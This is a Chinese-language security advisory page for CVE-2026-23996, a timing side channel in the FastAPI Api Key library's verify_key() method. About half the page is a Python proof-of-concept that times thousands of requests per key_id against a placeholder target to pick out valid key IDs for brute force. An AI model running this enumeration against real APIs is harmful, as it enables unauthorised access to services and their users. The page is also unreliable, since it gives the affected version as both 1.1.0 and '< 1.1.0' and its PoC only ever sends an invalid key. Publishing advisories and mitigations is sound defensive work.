IPBUF安全漏洞报告
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CVE-2026-23996 CVSS 3.7 低危

CVE-2026-23996 FastAPI Api Key时序侧信道漏洞

披露日期: 2026-01-21

漏洞信息

漏洞编号
CVE-2026-23996
漏洞类型
时序侧信道攻击
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FastAPI Api Key

相关标签

时序侧信道攻击FastAPI Api KeyAPI密钥认证侧信道漏洞CVE-2026-23996Python密钥枚举Timing Attack

漏洞概述

FastAPI Api Key是一个提供API密钥系统的后端无关库。CVE-2026-23996漏洞存在于该库的1.1.0版本中,漏洞类型为时序侧信道(Timing Side-Channel)。问题出在verify_key()方法上,该方法仅在验证失败时应用随机延迟,而验证成功时不添加延迟。这使得攻击者可以通过大量请求统计测量响应时间的差异,从而推断某个key_id是否对应有效的API密钥。攻击者利用此漏洞可以加速暴力破解或密钥枚举攻击,绕过正常的认证保护机制。虽然单个请求的延迟差异可能很小,但通过足够数量的请求,攻击者可以以较高置信度区分有效密钥和无效密钥。

技术细节

时序侧信道攻击是一种通过分析操作执行时间的差异来获取敏感信息的攻击方式。在FastAPI Api Key 1.1.0版本的verify_key()函数中,存在以下问题:1) 验证失败时添加随机延迟(用于防止时序分析),但验证成功时不添加延迟;2) 这导致成功响应和失败响应的平均响应时间存在统计差异。攻击者可以通过以下步骤利用此漏洞:1) 向目标API发送大量带有不同key_id的认证请求;2) 测量每个请求的响应时间;3) 统计分析响应时间分布,识别出响应时间较短的key_id(这些可能是有效的key_id);4) 对识别出的有效key_id进行进一步的暴力破解攻击。由于网络延迟等因素的影响,攻击者需要发送大量请求(通常数千到数万次)才能获得可靠的统计结果。攻击的可行性还取决于服务器负载、网络条件等因素。

攻击链分析

STEP 1
步骤1
攻击者向目标FastAPI Api Key服务发送大量带有不同key_id的认证请求
STEP 2
步骤2
攻击者精确测量每个请求的响应时间,记录从发送请求到收到响应的时间差
STEP 3
步骤3
对收集到的响应时间数据进行统计分析,计算每个key_id对应的平均响应时间和标准差
STEP 4
步骤4
识别响应时间显著较短的key_id,这些通常是有效的API密钥标识符(因为验证成功时不添加延迟)
STEP 5
步骤5
针对识别出的有效key_id进行进一步的暴力破解攻击或密钥枚举,从而绕过认证机制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-23996 PoC - FastAPI Api Key Timing Side-Channel Attack This PoC demonstrates timing side-channel vulnerability in verify_key() method. """ import requests import time import statistics from concurrent.futures import ThreadPoolExecutor, as_completed TARGET_URL = "http://target-api.com/api/endpoint" # Replace with actual target CANDIDATE_KEY_IDS = ["key_001", "key_002", "key_003", "key_004", "key_005"] # Sample key_ids NUM_REQUESTS = 1000 # Number of requests per key_id for statistical analysis def measure_response_time(key_id, api_key): """Measure response time for a single request.""" headers = { "X-API-Key": api_key, "X-Key-ID": key_id } try: start_time = time.time() response = requests.get(TARGET_URL, headers=headers, timeout=10) end_time = time.time() return end_time - start_time, response.status_code except Exception as e: return None, None def analyze_key_id(key_id, api_key, num_samples=100): """Analyze a key_id by measuring response times.""" response_times = [] print(f"[*] Analyzing key_id: {key_id}") for i in range(num_samples): elapsed, status = measure_response_time(key_id, api_key) if elapsed: response_times.append(elapsed) if (i + 1) % 100 == 0: print(f" Progress: {i + 1}/{num_samples}") if response_times: avg_time = statistics.mean(response_times) std_dev = statistics.stdev(response_times) if len(response_times) > 1 else 0 print(f" Average response time: {avg_time:.4f}s (std: {std_dev:.4f}s)") return avg_time, std_dev return None, None def main(): print("[*] CVE-2026-23996 Timing Side-Channel Attack PoC") print("[*] Target: FastAPI Api Key < 1.1.0") print() results = {} # Test with a known invalid API key first test_api_key = "invalid_key_12345" for key_id in CANDIDATE_KEY_IDS: avg_time, std_dev = analyze_key_id(key_id, test_api_key, NUM_REQUESTS) if avg_time: results[key_id] = { 'avg_time': avg_time, 'std_dev': std_dev } print("\n[*] Analysis Results:") print("-" * 50) # Sort by average response time sorted_results = sorted(results.items(), key=lambda x: x[1]['avg_time']) for key_id, data in sorted_results: print(f"Key ID: {key_id:15} | Avg Time: {data['avg_time']:.4f}s | Std: {data['std_dev']:.4f}s") if sorted_results: fastest_key = sorted_results[0][0] print(f"\n[!] Potentially valid key_id detected: {fastest_key}") print("[!] This key_id has statistically shorter response times.") print("[!] Attackers can use this information for targeted brute-force attacks.") if __name__ == "__main__": main()

影响范围

fastapi-api-key < 1.1.0

防御指南

临时缓解措施
在应用层对所有API认证响应(包括成功和失败)添加统一的固定延迟或随机抖动,以消除响应时间与验证结果之间的关联性。同时建议实施严格的速率限制策略,限制单IP或单用户在单位时间内的认证请求次数。在升级到修复版本之前,可以考虑使用Web应用防火墙(WAF)添加额外的请求限流规则。

参考链接

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